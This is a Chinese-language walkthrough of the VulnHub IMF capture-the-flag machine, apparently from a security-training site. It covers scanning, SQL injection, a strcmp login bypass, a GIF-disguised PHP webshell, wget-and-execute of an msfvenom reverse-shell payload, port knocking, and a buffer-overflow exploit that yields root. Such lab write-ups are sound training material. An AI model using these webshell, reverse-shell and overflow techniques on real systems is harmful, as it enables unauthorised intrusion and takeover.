• 新闻动态
  • 行业动态
  • 公司新闻
  • 关于我们
  • 公司简介
  • 经典活动
  • 渗透测试
    推荐一个渗透测试实战平台
    2019-04-09 10:47

    18年毕业,目前某安全公司PM搬砖,但依然钟情于渗透,希望能通过学习不断提高自己的技术。因为一开始研究的是渗透,但还是太菜。大佬师傅当小说看就好。

    目前实战操作来源vunlhub及handthebox,均须爬楼,我是自己搭的楼梯。Guge和油管以及推特都是很好的平台,油管上太多牛逼的人。。。

    CTF也会偶尔看,如果有师傅带着玩和打比赛,愿意跟着搬砖打杂。。

    靶机下载地址:https://download.vulnhub.com/imf/IMF.ova

    主要知识点:常规的CTF找flag、制作图片木马、溢出漏洞、提权。

    靶机下载后vmware打开,Kalior parrot(UI很棒,工具很全)

    同一内网arp-scan–l、Netdiscover、Nmap都可以扫描到靶机地址。。但实际内网渗透,肯定没这么简单。

    Nmap-sV -p 1-10000 ip

    Nmap-A -v -T4 ip

    Nmap后面的参数可以有很多,也可以接脚本,用法太多了。

    实战应该用不到-A,一般以-sS,半扫描方式,不会轻易被发现,但靶机可以随便搞。

    Nmap扫描只有80端口apache

    1.jpg

    然后可以进行跑目录,看有没有敏感的目录,比如上传点,比如后台登陆。

    网站需要进行简单信息收集,但靶机并没有那么多信息可以用,所以浏览网站,某些页面可能会有框架信息,cms信息,然后可以去查漏洞。

    网页如果有留言、搜索框,也会想到xss,sql注入等,靶机一般都会提示。

    比如conctacus 下面可以看到联系人,可能就是有价值的用户名。

    如果网站有留言有信息,也可以进行社工创造字典,用crew和john配合用户名爆破等等。

    跑目录可以用dirbuster,gobuster,也可以用脚本工具dirsearch

    2.jpg

    3.jpg

     

    访问contactus及源码,得到flag1:YWxsdGhlZmlsZXM=

    4.jpg


    Base64解码得到allthefiles

    解码方式太多了,网站在线解密、工具解密或者直接命令解密:

    echo'密文'|base64 -d

    继续观察页面源码,其实常规CTF思路到处点 看F12和看看源码。。

    发现js文件有些端倪

    5.jpg

    拼接前缀得到base64解码

    echo'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -dflag2{aW1mYWRtaW5pc3RyYXRvcg==}

    再次解码得到:Flag3:{Imfadministrator}

     

    并不知道是什么。。。试了一会,发现可以访问http://ip/imfadministrator/之前跑目录是没有的,出现登陆页面

    6.png

     

    第一反应是爆破,第二反应是注入手工orsqlmap,可惜搞不出来。

    之前contactus页面里有用户名,三个其中之一,我用的Rmichaels

    然后又查看源码后,发现提示

    7.png

    估计是使用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array相比较的话,strcmp也会返回0。

    PHP会将此字段解释为数组,而不是字符串。这有时可能会混淆验证甚至字符串检查,如果其中一个输入是数组,strcmp则会返回NULL。

    8.jpg

     

    F12修改,将源码里的<inputname="pass" value="" type="password">修改成<inputname="pass[]" value=""type="password">,使pass参数变成array数组。用户名用之前页面里的Rmichaels,密码任意。登陆提交后发现flag3,base64解码后得到提示:continueTOcms,点击cms如下:

    9.png

    Cms页面链接点啊点,没用,源码也没有提示信息,只能看url

    php?pagname=

    试了试1’和../../../../../../../etc/passwd

    0.png

    有错误回显,貌似有注入点,本人比较菜,放弃手工

    11.jpg

    复制cookie信息然后使用sqlmap测试,

    Sqlmap-u “http://ip/”--cookie=”” --dump –batch

    Sqlmap-hh 可以看参数,如果post注入,需要body信息,确定是-rtxt 还是–data=“name=value”,这里是get注入。

    12.jpg

    13.jpg

    有东西,可以看到库名admin,表名pages被爆了出来。只有tutorials-incomplete不曾出现在cms里,访问发现一张带有二维码的图片,可以用下面网站解码https://zxing.org/w/decode.jspx或者直接微信扫一扫。。。

    14.png

    获得flag4{dXBsb2Fkcjk0Mi5waHA=},解码后得到提示:uploadr942.php

    Php文件名称,很兴奋。访问/imfadministrator/uploadr942.php就更开心了,得到上传点:

    15.png


    接下来的思维,就太多了,上传的姿势太多了,基本是上传马,连接,得shell,提权。

    小马拉大马,得shell,或者数据库提权等。

    上传的要点是上传的文件路径,文件名,有的可以写进日志里。回归正题。尝试上传php,挡掉,发现图片格式可以,制作图片木马。Jpg上传,发现,上传成功后,看源码有生成的文件名,当然真实的不可能暴漏出来,那太傻了,但这种随机生成文件名的方法,是防御的方式之一。

    echo'FFD8FFEo' | xxd -r -p > test.jpg

    echo'<?php phpinfo();  ?>' >> test.jpg

    跑目录可得/uploads路径

    Curl-v “http://ip/imfadministrator/uploads/文件名.jpg

    (Curl是很机灵的工具。。嗯也很实用的。。)发现没有反应,再传gif发现就可以执行,于是写出如下再上传:

    echo'FFD8FFEo' | xxd -r -p > test.gif

    echo'<?php echo `id`; ?>' >> test.gif再然后

    echo‘FFD8FFEo’| xxd -r -p >text.gif

    echo‘<?php  $c_GET[‘c’]; echo `$c`;  ?>’>>test.gif

    注意echo后是``。可以学一下php基础,类c语言,还是比较容易上手。

     16.png

    17.png

    c=ls可得flag5解码得agentservices,貌似是一个服务,先记下。

    之所以能gif执行php应该是.htaccess文件中写入了.php.gif。

    .htaccess是apache的分布式配置文件,总是被玩坏,解析漏洞如果配置错误,非常不安全。

    之后就是拿shell了,Wget攻击机的多功能的php,攻击机开一个apache

    Systemctlstart apache2.service

    这里用到msf生成木马,并接收shell。因为可能后面要传文件,这种的得到shell,传文件一度困扰我。。。ssh连接上可以用scp

    meterpreter,有download,upload。。。

    msfvenom-p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf >/var/www/html/hack

    在攻击机的网站目录下文件名为hack的木马并开启apache服务。

    18.jpg

    然后url里可以赋予c不同参数命令,将生成的木马php下到靶机,触发并反弹shell

    19.png

    c=wget+“http://攻击机ip/hack”

    c=chmod+777+hack赋予执行权限。

    c=./hack执行。

    Msf里:

    useexploit/multi/handler

    Setpayloads linux/x86/meterpreter/reverse_tcp

    Setlhsot

    Run得到shell

    其实这里的shell权限还是挺大,如果遇到限制的shell,如何绕过有限制shell,自行搜索。

    20.jpg

     

    接下来就是提权了,关于提权的姿势太多了,推荐一本书吧,《千赢国际注册攻防实战研究:漏洞与提权》是18年的新书,小兵师傅的宝典。一旦得到shell,linux的话,看进程端口,翻目录,找找有用的信息。/etc/passwd,万一有权限可以替换密码,定时任务提权,脚本提权。这里用到的是缓冲区溢出,关于堆栈溢出,关于寄存器,能学到很多东西。首先Flag5 提示agent服务,也看了进程,发现有个knock进程。

    21.jpg

    关于knock进程:knock是一个端口敲服务器。它侦听以太网(或PPP)接口上的所有流量,寻找端口命中的特殊“敲门”序列。客户端通过将TCP(或UDP)数据包发送到服务器上的端口来进行这些端口命中。这个端口不需要打开-因为knockd在链路层级别监听,它会查看所有流量,即使它的目的地是封闭端口。当服务器检测到特定的端口命中序列时,它会运行在其配置文件中定义的命令。这可用于在防火墙中打开孔以便快速访问。

    也找一下agent服务,输入 whereisagent 得到结果:agent:/usr/local/bin/agent

    进入/usr/local/bin/目录发现还有一个叫access_codes的文件,打开后显示:

    SYN7482,8279,9467

    SYN,不知道的了解一下三次握手,tcp连接等等。

    于是用nmap扫一下,再全扫一边,发现7788端口打开。真的是“knock“一下

     22.jpg

    23.png

     

    发现是agent程序。关于获得agent的id方法有两种,一个是Meterperterdownload下来在本地做测试;一个是shell里运行ltraceagent。

    关于itrace的介绍:https://linux.die.net/man/1/ltrace

     

    数据包访问AgentID是”’48093572”’,输入正确ID后出现选项:

    缓冲区溢出7788端口的agent程序。

    有两个工具gdb和图形化edb。关于gdb,结尾会贴另一个大佬的写的文章,入门溢出。Meterperterdownload 下来

     24.jpg

    25.jpg

    这里我用了kali,因为溢出部分是后来做的,换了电脑,parrot在移动过程中,没启动起来。。。测试:edb--run agent也可以运行agent,在edb内搜索

    26.png2

    运行agent后,输入id,先选择3.submitreport进行测试:

    溢出的关键是找到溢出的地址,貌似叫,栈堆基址。使用一个名为pattern_create的方便的Kali工具,生成特殊字符,测试。

    运行/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l 1024来获取1024个测试字符,然后将字符复制到agent里。pattern_offset配套使用。

    /usr/share/metasploit-&shy;‐framework/tools/pattern_offset.rb-q 41366641

    [*]Exact match at offset 168

    发现程序在第168个字符处溢出,同时运行之后,发现程序崩溃

     27.png

    猜想选择的值成功覆盖EIP

    A* 168(估计是EIP的位置)

    B* 4(认为是EIP)

    C* 500(可以转储shell代码的EIP之后的空格)。

    再生成A168+B4+C*1000的字符继续测试

    python-c'print“A”* 168 +“B”* 4 +“C”* 500'

    python可以在反弹shell中建立新的终端,也可以起一个简单的http服务,用处太多了。

    28.jpg

    (在edb内,可以搜索操作码(插件>OpCodeSearcher>操作码搜索)。在这里我们可以看到E(R)AX- > E(R)IP包含对E(RAX)的调用。)42是B的十六进制

    29.jpg

    MSFVenom提供-b开关。这是为了消除无用的字符。在这个例子中,删除了空字节0x00,因为它通常都会终止一个字符串。x0a是换行符,x0d是回车符,所以这两者都相当于命中返回,出现在shellcode的中间,就over了。。。

    msfvenom-p linux/x86/shell_reverse_tcp LHOST=192.168.190.1 LPORT=6666 -fpython -b "\x00\x0a\x0d" > imf.py

    之前的agentID被硬编码,在exp中别忘了48093572。编写exp:

     

     30.jpg

    执行脚本,nc-nlvp 你设置的端口,然后执行如下,有shell回弹,root权限。

     31.png

    所以最后一个标志是flag6{R2gwc3RQcm90MGMwbHM=},解码为Gh0stProt0c0ls。

    关于最后的溢出,我接触的很少,也在学习,可能写的很烂,给出的exp有可能复现不了,或者提权成功,我也试了很多。。。具体的溢出入门学习可参考文章 https://www.anquanke.com/post/id/169554#h3-10

    我觉得渗透的思路是很重要的,然后不会的就多搜索,多记录。以后会整理handthebox或者其他渗透靶机,随缘更新。欢迎一起学习交流。感谢阅读。

     

    相关操作学习

    VulnHub渗透测试实战:通过VulnHub靶机练习,获得渗透测试相关的实战经验。

    注:如果学习实验合氏币不足,扫描下面二维码可领取 30 合氏币哦!

    333.png


    上一篇:深入理解metasploit的payload
    下一篇:Metasploit快速入门(一)
    版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
    Copyright © 2013-2020 Heetian Corporation, All rights reserved
    4006-123-731